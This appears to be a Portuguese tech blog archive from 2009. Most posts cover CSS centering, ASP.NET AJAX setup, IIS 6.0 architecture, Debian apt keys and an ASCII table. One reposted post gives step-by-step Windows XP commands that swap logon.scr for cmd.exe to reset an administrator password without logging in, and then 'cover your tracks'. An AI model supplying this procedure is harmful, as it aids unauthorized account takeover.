quarta-feira, 4 de novembro de 2009

CSS: Centralizar Horizontal e Vertical

Posted by: Rogério Alencar Lino Filho on: 17 Janeiro, 2007

Uma grande dúvida que sempre surge é como centralizar um elemento no HTML, tanto verticalmente quanto horizontalmente, usando CSS.

Há duas maneiras de se fazer isso sem muito trabalho.

A primeira consiste em definir a posição do objeto como absolute e suas posições top e left com 50% e tirando a diferença (subtraindo) da metade de sua altura e metade de sua largura na margem. Por exemplo se um elemento tem 500px de largura e 400px de altura na margem vai ter um valor negativo (para top e left) igual a metade destes valores:

#minhaDiv {
width: 500px;
height: 400px;
top: 50%;
left: 50%;
margin-top: -200px;
margin-left: -250px;
position: absolute;
border: 1px solid black;
}

ou resumindo: margin: -200px auto auto -250px;

Pronto sua div vai ficar centralizada na janela. Mas temos um problema com isso.

Nesse caso sabemos o valor da altura do objeto, então tiramos a diferença na margem. Mas e se tivessemos um objeto em que sua altura pode variar (ou seja não sabemos o valor da altura) ?

Podemos solucionar isso usando o vertical-align, mas para ele funcionar temos que definir o display da div como table. A má notícia é que o nosso amigo IE não reconhece essa propriedade (e nem o valor table como display). A boa notícia que usando um hack para o IE dá pra acertar isso.

A estrutura para simular uma tabela fica assim:

<div id="tabela">


 

<div id="cell">


 

<div id="conteudo">


 

<p>parágrafo</p>

</div>


 

</div>


 

</div>

E definimos no CSS o display da div tabela como table e da div cell como table-cell. Mas antes temos que acertar o html, body e a tabela para 100% (largura e altura).

html, body {
width: 100%;
height: 100%;
margin: 0px; /* retirando a margem padrão */
padding: 0px; /* retirando o padding padrão */
}

#table {
width: 100%;
height: 100%;
display: table;
}

#cell { display: table-cell; }

Com as divs já funcionando como tabela vamos definir a vertical-align como middle, isso na div cell.

#cell {
vertical-align: middle;
display: table-cell;
}

Falta agora setar a margin do conteudo como auto. E colocar um valor para largura, senão vai ficar 100%.

#conteudo {
width: 500px;
margin: auto;
}

Pronto, a div já vai aparecer centralizada no browser. Mas ainda está faltando o nosso amigo IE.

A idéia é quase a mesma da primeira situação. Como antes do conteudo temos uma div (cell), a gente defini seu position como absolute, e top como 50%. E na conteudo com position como relative, e top como -50%.

Lembrando que para não atrapalhar a definição correta, usaremos um hack que só influenciará no Internet Explorer.

Ficando o CSS final assim:

html, body {
width: 100%;
height: 100%;
margin: 0px;
padding: 0px;
}

#table {
width: 100%;
height: 100%;
display: table;
background: #f1f1f1;
}

#cell {
vertical-align: middle;
display: table-cell;
_position: absolute;
_top:
50%;
}

#conteudo {
width: 500px;
margin: auto;
padding: 20px;
border: 1px solid black;
_position: relative;
_top:
-50%;
}

E o HTML:

<div id="table">
<div id="cell">
<div id="conteudo">
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p>
</div>
</div>
</div>

Mais sobre:

Exemplo com a primeira situação

Maujor – Centralizar Vertical

[update testado="IE6, IE7, FIREFOX 2 e OPERA 9"]

html, body {
width:100%;
height:100%;
padding: 0px;
margin: 0px;
}

#table {
width: 100%;
height: 100%;
position: static;
display: table;
*overflow: hidden; /* hack para o IE6 e IE7 */
*position: relative; /* hack para o IE6 e IE7 */
}

#cell {
vertical-align: middle;
display: table-cell;
position: static;
*top: 50%; /* hack para o IE6 e IE7 */
*position: absolute; /* hack para o IE6 e IE7 */
}

#conteudo {
top: -50%;
width: 500px;
margin: auto;
position: relative;
background: red;
}

[/update]

Tags: absolute, centralizar, CSS, firefox, hack, horizontal, ie, opera, table-cell, Tableless, vertical, vertical-align

quarta-feira, 21 de outubro de 2009

Como quebrar uma senha de administrador do Windows XP

Posted By Arpit Jacob

This is provided only for educational purpose it is a simple way to Recover, Hack or Crack the Window XP Administrator Password. There are different Methods that I have outlined below.

Windows XP Privilege Escalation Exploit

(Before you continue Read the Updates at the bottom)

Here are the steps involved to Hack the Window XP Administrator Password .

  1. Go to Start –> Run –> Type in CMD
  2. You will get a command prompt. Enter these commands the way it is given
  3. cd\
  4. cd\ windows\system32
  5. mkdir temphack
  6. copy logon.scr temphack\logon.scr
  7. copy cmd.exe temphack\cmd.exe
  8. del logon.scr
  9. rename cmd.exe logon.scr
  10. exit

Wait its not over read the rest to find out how to Hack the Window XP Administrator Password
A Brief explanation of what you are currently doing here is

Your are nagivating to the windows system Directory where the system files are stored. Next your creating a temporary directory called mkdir. After which you are copying or backing up the logon.scr and cmd.exe files into the mkdir then you are deleting the logon.scr file and renaming cmd.exe file to logon.scr.

So basically you are telling windows is to backup the command program and the screen saver file. Then we edited the settings so when windows loads the screen saver, we will get an unprotected dos prompt without logging in. When this appears enter this command

net user password

Example: If the admin user name is clazh and you want change the password to pass Then type in the following command

net user clazh pass

This will chang the admin password to pass.
Thats it you have sucessfully hacked the Window XP Administrator Password now you can Log in, using the hacked
Window XP Administrator Password and do whatever you want to do.

Here are the steps involved to De Hack or restore the Window XP Administrator Password to cover your tracks.

  1. Go to Start –> Run –> Type in CMD
  2. You will get a command prompt. Enter these commands the way it is given
  3. cd\
  4. cd\ windows\system32\temphack
  5. copy logon.scr C:\windows\system32\logon.scr
  6. copy cmd.exe C:\windows\system32\cmd.exe
  7. exit

Or simply go to C:\windows\system32\temphack and copy the contents of temphack back into system32 directory click Yes to overwrite the modified files.

Via internetbusinessdaily.net

Note To administrators: You can block the entire password change thing just a little tweak in the local security policy (control panel->administrative tools,works only for administrators group) will disallow any change in password even if u r the Admin (u can put a number of other restrictions too), but be cautious to give other users limitted accounts. After you have done this, the above Screensaver technique will fail.

Update: Christian Mohn points out The Above method is is possible only if you have Local Administrator Privileges. My fault for not checking it up before posting.

Update: The above Method only works if the system is FAT/FAT32 - because of the updated "user rights management" in NTFS - file level rights etc. This does not work on a system using NTFS.

segunda-feira, 19 de outubro de 2009

Verificar se a biblioteca GD está ativa ou não

Verificar se a biblioteca GD está ativa ou não


 

Esté código verifica se a biblioteca GD está ativa ou não. Esta biblioteca é muito usada em vários sistemas Open Source(por exemplo o phpBB).

<?php

if (!extension_loaded('gd'))
{
echo "GD Desativado<br>";
}
else
{
echo "*****************************

****************<br><br>";
echo ">> GD Ativado<br><br>";
$lista = get_extension_funcs("gd");
foreach ($lista as $item => $dados)
{
echo $item.": ".$dados."<br>";
}
echo "<br><br>*********************************************";
}
?>

Erros na actualização do Apt Debian

Ta dando esse erro aqui :

W: GPG error: http://www.debian-multimedia.org lenny Release: As assinaturas a seguir não puderam ser verificadas devido à chave pública não estar disponível: NO_PUBKEY 07DC563D1F41B907
W: GPG error: http://download.virtualbox.org lenny Release: As assinaturas a seguir não puderam ser verificadas devido à chave pública não estar disponível: NO_PUBKEY DCF9F87B6DFBCBAE
W: GPG error: http://www.backports.org lenny-backports Release: As assinaturas a seguir não puderam ser verificadas devido à chave pública não estar disponível: NO_PUBKEY EA8E8B2116BA136C
W: GPG error: ftp://ftp.debian-multimedia.org lenny Release: As assinaturas a seguir não puderam ser verificadas devido à chave pública não estar disponível: NO_PUBKEY 07DC563D1F41B907


O que eu faço ?


 

Resposta:


Substituir XXXXXXXX pelo numero da chave de erro...
gpg --keyserver wwwkeys.eu.pgp.net --recv-keys XXXXXXXX
gpg --armor --export XXXXXXXX | apt-key add -

quarta-feira, 14 de outubro de 2009

Problemas com ajax – asp:updatepanel

Quando o ajax não estiver a funcionar no .net , verificar se o Web.config tem as linha necessárias para correr o script manager.


 

<!--

Necessários para correr o update panel.


-->

<httpHandlers>

<remove
verb="*"
path="*.asmx"/>

<add
verb="*"
path="*.asmx"
validate="false"
type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"/>

<add
verb="*"
path="*_AppService.axd"
validate="false"
type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"/>

<add
verb="GET,HEAD"
path="ScriptResource.axd"
type="System.Web.Handlers.ScriptResourceHandler, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
validate="false"/>

</httpHandlers>

<httpModules>

<add
name="ScriptModule"
type="System.Web.Handlers.ScriptModule, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"/>

</httpModules>

quinta-feira, 24 de setembro de 2009

Configurando o Nagios com o Nagios Web Config

O Nagios é uma ferramenta muito interessante (e eficiente) para monitorar serviços e servidores. Só que por outro lado, uma das coisas mais maçantes e tediosas que existem é ter de configurar o mesmo. São horas e horas em cima de vários arquivos de configurações para poder colocá-lo em funcionamento.

Mas com o Nagios Web Config isso tudo fica diferente.

O Nagios Web Config é um software que serve para configurar os hosts, serviços, grupos de hosts, comandos e todas as demais configurações do Nagios (exceto a configuração inicial do mesmo) de forma visual e prática utilizando para isso o seu browser. Por isso mesmo, ele já foi planejado para ser implementado na própria sidebar do Nagios, o que facilita ainda mais seu uso.

E como ele trabalha ? Ao ir adicionando/deletando/editando as configurações ele vai armazenando as mesmas em um DB MySQL. Depois você pode solicitar que ele escreva as configurações e ele próprio irá gerar os arquivos necessários sem que haja necessidade de editá-los manualmente. Além disso, como os dados ficam num DB caso você precise reinstalar o servidor (ou por exemplo decida colocar o Nagios em outro servidor), não haverá necessidade de refazer todas as configurações.

Como nem tudo são flores, a instalação dele junto a um Nagios recém instalado pode ser meio "chata", sendo necessário gerar algumas configurações básicas do Nagios para que o mesmo no mínimo consiga ser iniciado. Ou seja, você não vai escapar de ter de meter a mão nos arquivos do Nagios no início, mas depois tudo vai ficar muito mais simples. Pode confiar.

Sem dúvida é uma excelente ferramenta para otimizar esses processos de configuração e que com certeza ajudará muito a manter seu Nagios sempre atualizado, e o melhor, de forma bem simples. :-)


 

Fonte: Marcelo Terres - http://mundoopensource.blogspot.com/2007/10/configurando-o-nagios-com-o-nagios-web.html


 

Instalando o Ajax Control Toolkit no Visual Studio 2008

Neste artigo irei adicionar o AjaxToolkit na aba de ToolBox do Visual Studio 2008. Para facilitar o trabalho dos desenvolvedores, o Ajax já veio implementado na versão do Visual Studio 2008, mas ainda temos que instalar o Toolkit para utilizar os principais recursos do Ajax .

Primeiro é necessário fazer o download do Ajax Control Toolkit no site da CodePlex, até a data de publicação deste artigo é possível fazer download pelo link: http://www.codeplex.com/AtlasControlToolki...ReleaseId=11121.
O arquivo que deve ser baixado é o AjaxControlToolkit-Framework3.5.zip.

Eu prefiro descompactar e manter a pasta baixada no wwwroot, e neste artigo irei trabalhar com o seguinte caminho: C:\Inetpub\wwwroot, mas este não é um caminho obrigatório.

Estando a pasta descompactada, agora iremos até o Visual Studio e em nossa Toolbox iremos criar uma nova aba, clicando com o botão direito na Toolbox e escolhendo a opção Add Tab.



Depois deste processo aparecerá a opção de definir o nome da nova tab. O nome adotado neste artigo será AjaxToolkit. Agora clique com o botão direito no meio da nova aba criada e selecione a opção Chosse Items...



Selecionada a opção Choose Items será aberta a opção Choose ToolBox Itens e através dela vamos buscar nossa DLL do Ajax Control Toolkit. Depois de aberta a Choose ToolBox Itens clique em browse....



Clicando em Browse basta buscar a DLL do Ajax que está na pasta C:\Inetpub\wwwroot\AjaxControlToolkit-Framework3.5\SampleWebSite\Bin, o nome do arquivo é AjaxControlToolkit.dll. Encontrada a DLL clique em Abrir. Logo após clique em Ok na tela do Choose ToolBox Items.
Depois deste último processo, o Ajax Control Toolkit está pronto para ser utilizado em seu projetos.



Espero que seja útil. Abraços...

FONTE: Bruno Quintella em http://scriptbrasil.com.br/forum/index.php?showtopic=132308

www.quintelab.com.br
quintelab.labrute.fr

quarta-feira, 23 de setembro de 2009

Problema com ASP.NET AJAX 1.0 no Visual Studio 2008

Cenário:

Alguns desenvolvedores tem encontrado dificuldades para rodar projetos ASP.NET 2.0 que utilizam o AJAX Extensions versão 1.0.61025.0 no Visual Studio 2008. Muitos destes desenvolvedores, tentam apenas fazer a referência para a biblioteca AjaxControlToolKit.dll diretamente a partir da janela Choose ToolBox Items. Contudo, o Ajax Control Toolkit utiliza o assembly System.Web.Extensions que é registrado no GAC (Global Assembly Cache). O que ocorre é que quando você instala o Visual Studio 2008, o assembly System.Web.Extensions registrado no GAC é da versão 3.5.0.0. Assim, quando você tenta abrir um projeto que utiliza o AJAX 1.0 a IDE do Visual Studio exibe uma mensagem de erro informando que o assembly System.Web.Extensions não pode ser carregado por que ele ou uma das suas dependências não foi encontrado.

Solução:

Instale o ASP.NET AJAX Extensions 1.0 a partir do arquivo ASPAJAXExtSetup.msi (disponível para download no site www.asp.net). Esta instalção adiciona e registra no GAC a versão 1.0.61025 necessária para seus projetos. As duas versões vão continuar funcionando normalmente pois o Global Assembly Cache gerencia de forma eficiente os assemblies de mesmo nome e com vesões diferentes.

Alternativa:

Se você não quiser instalar o ASP.NET AJAX Extensions 1.0 completo, basta copiar o assembly System.Web.Extensions de outro computador que tenha a versão 1.0.61025 e registrá-lo no GAC manualmente utilizando a ferramenta GACUtil.exe. O comando deve ser invocado a partir do prompt de comando do Visual Studio 2008 com a seguinte sintaxe GACUtil.exe -i <path>\System.Web.Extensions.dll. Esta prática é recomendada apenas para ambientes de desenvolvimento para ambientes de produção, o desenvolvedor deve instalar os componentes através do MSCORCFG.msc ou preferencialmente por um pacote do Windows Installer (.msi).

Abaixo está o screenshot da pasta C:\WINDOWS\ASSEMBLY mostrando as duas versões do assembly System.Web.Extensions devidamente configuradas:

Autor do Texto: Carlos Mattos em

http://base40.spaces.live.com/Blog/cns!834535B664F10B2D!594.entry


quinta-feira, 28 de maio de 2009

Como funciona uma aplicação ASP.Net no IIS 6.0?

Como funciona uma aplicação ASP.Net no IIS 6.0?

Por: Marcelo Menezes Neves

[Entre em contato com o autor ]

Especialista em desenvolvimento e Microsoft Certified Professional com mais de 10 anos de experiência.
Atualmente arquiteta e desenvolve web e mobile applications utilizando tecnologia Microsoft.

Fonte: http://www.linhadecodigo.com.br/ArtigoImpressao.aspx?id=878

Como funciona uma aplicação ASP.Net no IIS 6.0?

Publicado em: 12/12/2005

Já aconteceu de você instalar uma aplicação ASP.Net no IIS e ela não funcionar? Já aconteceu de você chamar uma página de sua aplicação e o IIS responder com uma dúzia de mensagens esquisitas? Pois bem, antes de tomar qualquer ação você precisa, ao menos, entender o que se passa com sua aplicação, você precisa entender como ela funciona quando está hospedada no IIS. E é sobre isso que iremos falar: como funciona uma aplicação ASP.Net no IIS 6.0.


Visão Geral

Antes de mais nada é bom que você saiba que o projeto original da Microsoft era desenvolver o ASP.Net para rodar com o IIS 6. Mas com o tempo, a Microsoft percebeu que o lançamento do IIS 6 não coincidiria com o lançamento do Visual Studio .Net 2002, daí ela decidiu lançar o ASP.Net antes do IIS 6 e, suportar o ASP.Net no IIS 5. Isso nos mostra o porquê do ASP.Net se comportar diferente no IIS 6.0 e no IIS 5.0. Neste artigo iremos tratar somente do comportamento de uma aplicação ASP.Net com IIS 6.0. Pra começarmos a entender como funciona o IIS, podemos dividí-lo da seguinte maneira:

  • HTTP Protocol Stack (HTTP.sys)
  • Application Pool
  • Worker process
  • Serviço WWW
  • INETINFO.exe
  • Meta dados do IIS

Estes são os principais componentes do IIS do ponto de vista de uma aplicação ASP.Net. Mas, antes de entendermos a função de cada componente você antes precisa entender o seguinte: o IIS 6.0 trabalha com 2 tipos de isolamento de aplicação.


Figura 1 - Application Pools

Mas o que é isolamento de aplicação? Significa isolarmos uma aplicação das demais, de forma que o funcionamento de uma aplicação não interfira no funcionamento de outras aplicações num mesmo servidor e, preferencialmente, cada aplicação possua seu próprio espaço de memória. Mas será que essa preocupação é válida? Sim e como! Pense num provedor que hospeda dezenas de aplicações num mesmo servidor IIS, onde cada aplicação compartilha os mesmos recursos. Será que dá para confiar que todos os desenvolvedores construíram suas aplicações de forma a utilizarem os recursos do sistema de forma eficiente? É claro que não! Por isso, a preocupação é mais do que válida. Para isolar uma aplicação e, garantir que nenhuma outra irá interferir no seu funcionamento, pode-se optar por instalar cada aplicação num diferente servidor IIS, o que chamamos de isolamento físico. Mas já pensou no custo desta solução? Inviável! Então para contornar esse problema, ou podemos dizer, esta necessidade, o IIS oferece um recurso, que até mesmo já existia em outros servidores web, e que se chama Application Pool, conforme pode ser visto na figura 1. Este recurso garante o isolamento lógico de uma aplicação, ou seja, várias aplicações podem ser instaladas no mesmo servidor onde cada uma delas possui o seu próprio espaço de memória.

Agora, entendido o que é isolamento de aplicação, veja abaixo os dois modelos de isolamento disponíveis no IIS 6.0:

  • Worker process isolation mode (default)

  • IIS 5.0 isolation mode

Qual a diferença? Embora nos dois modelos o HTTP.sys seja o HTTP listener, ou seja, o componente do IIS que recebe todos os requests, os modelos diferem na forma em que o IIS controla o isolamento da aplicação. No worker process isolation mode pode-se agrupar aplicações ASP.Net em application pools, que podem ser configurados, entre outras coisas, para reciclar de 12 horas em 12 horas todos as aplicações (sites e virtual roots) que fazem parte deste application pool, fazendo com que o worker process seja eliminado da memória (Veja a figura 2). Outra vantagem é que este modo de isolamento sofreu grandes modificações na versão 6.0 e, portanto, é superior em performance do que nas versões anteriores. No IIS 5.0 isolation mode o isolamento da aplicação é feito como na versão 5.0 do IIS:

  • Low isolation (in-process)
  • Medium isolation (pooled out-of-process)
  • High isolation (out-of-process)


Figura 2 - Propriedades do application pool default

Uma das formas de conferir se o IIS 6.0 está rodando em Worker process isolation mode é examinar os processos que estão rodando na máquina onde roda o IIS, pode-se utilizar para isso a Task Manager, e então você conseguirá visualizar um ou mais processos W3wp.exe. Não se recomenda utilizar o IIS 5.0 isolation mode. O uso do IIS 5.0 isolation mode só é justificado quando a aplicação:

  • Depende do worker process INETINFO.EXE
  • Precisa rodar no ambiente da DLLHOST.EXE

Usando o Worker process isolation mode, além de ser o modo default, é o que oferece maior performance e permite que você aproveite todos os benefícios do IIS 6.0. Para visualizar o isolation mode corrente basta visualizar a propriedade IIs5IsolationModeEnabled, do metadados do IIS.


Componentes do IIS

Vamos agora entender a função de cada componente:

HTTP.sys - Responsável por receber os requests HTTP e encaminhá-los para o worker process da aplicação através da fila de requests. O HTTP.sys mantém um cache interno que otimiza o processamento dos requests. Requests que estão cacheados são atendidos pelo próprio HTTP.sys, não havendo a necessidade de encaminhá-los para o worker process.

Application Pool - Na prática, nada mais é que uma fila de requests. O HTTP.sys quando recebe o request verifica qual a fila de requests que atende a aplicação corrente e daí envia o request por essa fila para o worker process. Seu uso é de extrema importância, pois se definirmos uma application pool por aplicação, o mal comportamento de uma aplicação não afetará o desempenho das demais aplicações instaladas no mesmo servidor IIS. Além disso, pode-se configurar para cada application pool o comportamento do serviço WWW e o comportamento do worker process, entre outras coisas.

Worker Process - Componente responsável pelo processamento do request, ou seja, executa a página solicitada, faz todo o processamento necessário, e devolve o resultado para o HTTP.sys. Um application pool pode ter um ou mais worker processes. O arquivo executável responsável por suportar o worker process é o W3wp.exe quando o IIS roda em Worker Process isolation mode, ou inetinfo.exe, quando o IIS roda em IIS5 isolation mode.

Serviço WWW - Serviço responsável pelo gerenciamento do worker process. É ele quem verifica se existe um worker process para a aplicação, senão existir ele trata de criar um worker process. Ele também verifica se o worker process está operacional. Caso um worker process "trave", devido ao mal comportamento da aplicação, o serviço WWW providencia a criação de um novo worker process e trata de eliminar o worker process "travado". Quando o servidor IIS é iniciado pela primeira vez o serviço WWW consulta o IIS Metabase e inicializa o HTTP.sys.

Inetinfo.exe - Quando o IIS está configurado para rodar em Worker Process isolation mode o componente Inetinfo.exe carrega o IIS Metabase e disponibiliza o mesmo para as aplicações. Este componente pode ser visto, através da task manager, como o arquivo inetinfo.exe. O inetinfo.exe também é responsável por hospedar os serviços FTP, SMTP e NNTP.

IIS Metabase - É o repositório de metadados do IIS. Na verdade o Metabase nada mais é que a configuração do IIS. Na versão 6.0 o IIS Metabase é armazenado, em grande parte, em arquivos XML e, o restante, é armazenado no registry do Windows.


Passo a passo

Entendido quais os componentes que compõe o IIS, vamos agora descrever um passo a passo do que acontece a cada request feito a uma aplicação ASP.Net hospedada num servidor IIS. Note que alguns detalhes de processamento foram omitidos para simplificar e objetivar a explicação.

  1. Você digita o endereço da aplicação e pressiona <Enter>.
  2. O browser envia um request HTTP solicitando a página.
  3. No IIS, o componente HTTP.sys, recebe o request. Neste momento o HTTP.sys se comunica com o serviço WWW, que verifica a existência de um worker process ativo para a aplicação. Se não existir o serviço WWW cria o worker process. Ao criar o worker process é criado o AppDomain da aplicação.

  4. O HTTP.sys verifica se existe em seu cache dados para atender o request. Se já existe um resultado cacheado então este é retornado para o browser, senão o request é passado a frente.
  5. Utilizando uma routing table o HTTP.sys descobre qual é a fila de requests da aplicação e encaminha o request através desta.
  6. O worker process recebe o request, identifica a página ASPX solicitada, executa a página, faz todo o processamento necessário e devolve para o HTTP.sys.
  7. O HTTP.sys devolve o resultado para o browser.
  8. O browser mostra o resultado da página processada.

Espero que este artigo tenha melhorado sua compreensão sobre como funciona uma aplicação ASP.Net no IIS 6.0. Este assunto é bastante interessante e pode ser muito explorado.

Um boa dica, se você deseja se aprofundar neste assunto, é seguir o seguinte link: IIS 6.0 Architecture (IIS 6.0)

Bem, por hoje é só. Até a próxima!

sexta-feira, 24 de abril de 2009

Inserção de Símbolos com teclado (código ASCII)

Em ficheiros PDF com campos de formulário para preenchimento, temos às vezes o problema de querer inserir símbolos (tipo diâmetro, fi,etc) e não temos barras de ferramentas que nos permitam essa inserção.

Há uma maneira simples de o fazer:

Tecla ALT + um código de números (inserção do código ASCII).

Exemplos:

ALT+157    Ø

ALT+156    £

ALT+11        

Tabela ASCII - Completa

A Tabela completa de ASCII (American Standard Code for Information Interchange) que é composta pela tabela ASCII Normal (32 a 127), tabela dos Caracteres de Controle (0 a 31) e a tabela ASCII Estendida (128 a 255).

Decimal 

Binário

Hex 

Referência 

 

Decimal 

Binário

Hex 

Referência Referência

0 

00000000 

00 

Null - NUL 

 

128 

10000000 

80 

 Ç 

1 

00000001 

01 

    Start of Heading - SOH 

 

129 

10000001 

81 

 ü 

2 

00000010 

02 

Start of Text - STX 

 

130 

10000010 

82 

 é 

3 

00000011 

03 

End of Text - ETX 

 

131 

10000011 

83 

â 

4 

00000100 

04 

End of Transmission - EOT 

 

132 

10000100 

84 

ä 

5 

00000101 

05 

Enquiry - ENQ 

 

133 

10000101 

85 

à 

6 

00000110 

06 

Acknowledge - ACK 

 

134 

10000110 

86 

å 

7 

00000111 

07 

Bell, rings terminal bell - BEL 

 

135 

10000111 

87 

ç 

8 

00001000 

08 

 BackSpace - BS 

 

136 

10001000 

88 

ê 

9 

00001001 

09 

Horizontal Tab - HT 

 

137 

10001001 

89 

ë 

10 

00001010 

0A 

Line Feed - LF 

 

138 

10001010 

8A 

è 

11 

00001011 

0B 

Vertical Tab - VT 

 

139 

10001011 

8B 

ï 

12 

00001100 

0C 

Form Feed - FF 

 

140 

10001100 

8C 

î 

13 

00001101 

0D 

  Enter - CR 

 

141 

10001101 

8D 

ì 

14 

00001110 

0E 

 Shift-Out - SO

 

142 

10001110 

8E 

Ä 

15 

00001111 

0F 

 Shift-In - SI 

 

143 

10001111 

8F 

Å 

16 

00010000 

10 

  Data Link Escape - DLE 

 

144 

10010000 

90 

É 

17 

00010001 

11 

 Device Control 1 - D1 

 

145 

10010001 

91 

æ 

18 

00010010 

12 

 Device Control 2 - D2 

 

146 

10010010 

92 

Æ 

19 

00010011 

13 

Device Control 3 - D3 

 

147

10010011 

93 

ô 

20 

00010100 

14 

Device Control 4 - D4 

 

148 

10010100 

94 

ö 

21 

00010101 

15 

 Negative Acknowledge - NAK 

 

149 

10010101 

95 

ò 

22 

00010110 

16 

     Synchronous idle - SYN 

 

150 

10010110 

96 

û 

23 

00010111 

17 

End Transmission Block - ETB 

 

151 

10010111 

97 

ù 

24 

00011000 

18 

    Cancel line - CAN 

 

152 

10011000 

98 

ÿ 

25 

00011001 

19 

     End of Medium - EM 

 

153 

10011001 

99 

Ö 

26 

00011010 

1A 

     Substitute - SUB 

 

154 

10011010 

9A 

Ü 

27 

00011011 

1B 

Escape - ESC

 

155 

10011011 

9B 

ø 

28 

00011100 

1C 

     File Separator - FS 

 

156 

10011100 

9C 

£ 

29 

00011101 

1D 

 Group Separator - GS 

 

157 

10011101 

9D 

Ø 

30 

00011110 

1E 

 Record Separator - RS 

 

158 

10011110 

9E 

× 

31 

00011111 

1F 

     Unit Separator - US 

 

159 

10011111 

9F 

ƒ 

32 

00100000 

20 

Space - SPC 

 

160 

10100000

A0 

á 

33 

00100001 

21 

! 

 

161 

10100001 

A1 

ù 

34 

00100010 

22 

" 

 

162 

10100010 

A2 

ó 

35 

00100011 

23 

# 

 

163 

10100011 

A3 

ú 

36 

00100100

24 

$ 

 

164 

10100100 

A4 

ñ 

37 

00100101 

25 

% 

 

165 

10100101 

A5 

Ñ 

38 

00100110 

26 

& 

 

166 

10100110 

A6 

ª 

39 

00100111 

27 

' 

 

167 

10100111 

A7 

º 

40 

00101000 

28 

( 

 

168 

10101000 

A8 

¿ 

41 

00101001 

29 

) 

 

169 

10101001 

A9 

® 

42 

00101010 

2A 

* 

 

170 

10101010 

AA 

¬ 

43 

00101011 

2B 

+ 

 

171 

10101011 

AB 

½ 

44 

00101100 

2C 

, 

 

172 

10101100 

AC 

¼ 

45 

00101101 

2D 

- 

 

173 

10101101 

AD 

¡ 

46 

00101110 

2E 

. 

 

174

10101110 

AE 

« 

47 

00101111 

2F 

/ 

 

175 

10101111 

AF 

» 

48 

00110000 

30 

0 

 

176 

10110000 

B0 

 

49 

00110001 

31 

1 

 

177 

10110001 

B1 

 

50 

00110010 

32

2 

 

178 

10110010 

B2 

 

51 

00110011 

33 

3 

 

179 

10110011 

B3 

 

52 

00110100 

34 

4 

 

180 

10110100 

B4 

 

53 

00110101 

35 

5 

 

181 

10110101 

B5 

Á 

54 

00110110 

36 

6 

 

182 

10110110 

B6 

 

55 

00110111 

37 

7 

 

183 

10110111 

B7 

À 

56 

00111000 

38 

8 

 

184 

10111000 

B8 

© 

57 

00111001 

39 

9 

 

185 

10111001 

B9 

 

58 

00111010 

3A 

: 

 

186 

10111010 

BA 

 

59 

00111011 

3B 

; 

 

187 

10111011 

BB 

 

60 

00111100 

3C 

< 

 

188 

10111100 

BC 

 

61 

00111101 

3D 

= 

 

189 

10111101 

BD 

¢ 

62 

00111110 

3E 

> 

 

190 

10111110

BE 

¥ 

63 

00111111 

3F 

? 

 

191 

10111111 

BF 

 

64 

01000000 

40 

@ 

 

192 

11000000 

C0 

 

65 

01000001 

41 

A 

 

193 

11000001 

C1 

 

66 

01000010 

42 

B 

 

194 

11000010 

C2 

 

67 

01000011 

43 

C 

 

195 

11000011 

C3 

 

68 

01000100 

44 

D 

 

196 

11000100 

C4 

 

69 

01000101 

45 

E 

 

197 

11000101 

C5 

 

70 

01000110 

46 

F 

 

198 

11000110 

C6 

ã 

71 

01000111 

47 

G 

 

199 

11000111 

C7 

à

72 

01001000 

48 

H 

 

200 

11001000 

C8 

 

73 

01001001 

49 

I 

 

201 

11001001 

C9 

 

74 

01001010 

4A 

J 

 

202 

11001010 

CA 

 

75 

01001011 

4B 

K 

 

203 

11001011 

CB

 

76 

01001100 

4C 

L 

 

204 

11001100 

CC 

 

77 

01001101 

4D 

M 

 

205 

11001101 

CD 

 

78 

01001110 

4E 

N 

 

206 

11001110 

CE 

 

79 

01001111 

4F 

O 

 

207 

11001111 

CF 

¤ 

80 

01010000 

50 

P 

 

208 

11010000 

D0 

ð 

81 

01010001 

51 

Q 

 

209 

11010001 

D1 

Р

82 

01010010 

52 

R 

 

210 

11010010 

D2 

Ê 

83 

01010011 

53 

S 

 

211 

11010011 

D3 

Ë 

84 

01010100 

54 

T 

 

212 

11010100 

D4 

È 

85 

01010101 

55 

U 

 

213 

11010101 

D5 

ı 

86 

01010110 

56 

V 

 

214 

11010110 

D6 

Í 

87 

01010111 

57 

W 

 

215 

11010111 

D7 

Π

88 

01011000 

58 

X 

 

216 

11011000 

D8 

Ï 

89 

01011001 

59 

Y 

 

217 

11011001

D9 

 

90 

01011010 

5A 

Z 

 

218 

11011010 

DA 

 

91 

01011011 

5B 

[ 

 

219 

11011011 

DB 

 

92 

01011100 

5C 

\ 

 

220 

11011100 

DC 

 

93 

01011101

5D 

] 

 

221 

11011101 

DD 

¦ 

94 

01011110 

5E 

^ 

 

222 

11011110 

DE 

Ì 

95 

01011111 

5F 

_ 

 

223 

11011111 

DF 

 

96 

01100000 

60 

` 

 

224 

11100000 

E0 

Ó 

97 

01100001 

61 

a 

 

225 

11100001 

E1 

ß 

98 

01100010 

62 

b 

 

226 

11100010 

E2 

Ô 

99 

01100011 

63 

c 

 

227 

11100011 

E3 

Ò 

100 

01100100 

64 

d 

 

228 

11100100 

E4 

õ 

101 

01100101 

65 

e 

 

229 

11100101 

E5 

Õ 

102 

01100110 

66 

f 

 

230 

11100110 

E6

µ 

103 

01100111 

67 

g 

 

231 

11100111 

E7 

þ 

104 

01101000 

68 

h 

 

232 

11101000 

E8 

Þ 

105 

01101001 

69 

i 

 

233 

11101001 

E9 

Ú 

106 

01101010 

6A 

j 

 

234 

11101010 

EA 

Û 

107 

01101011 

6B 

k 

 

235 

11101011 

EB 

Ù 

108 

01101100 

6C 

l 

 

236 

11101100 

EC 

ý 

109 

01101101 

6D 

m 

 

237 

11101101 

ED 

Ý 

110 

01101110 

6E 

n 

 

238 

11101110 

EE 

¯ 

111 

01101111 

6F 

o 

 

239 

11101111 

EF 

´ 

112 

01110000 

70 

p 

 

240 

11110000 

F0 

 

113 

01110001 

71 

q 

 

241 

11110001 

F1 

± 

114 

01110010 

72 

r 

 

242 

11110010 

F2 

 

115 

01110011 

73 

s 

 

243 

11110011 

F3 

¾ 

116 

01110100 

74 

t 

 

244

11110100 

F4 

 

117 

01110101 

75 

u 

 

245 

11110101 

F5 

§ 

118 

01110110 

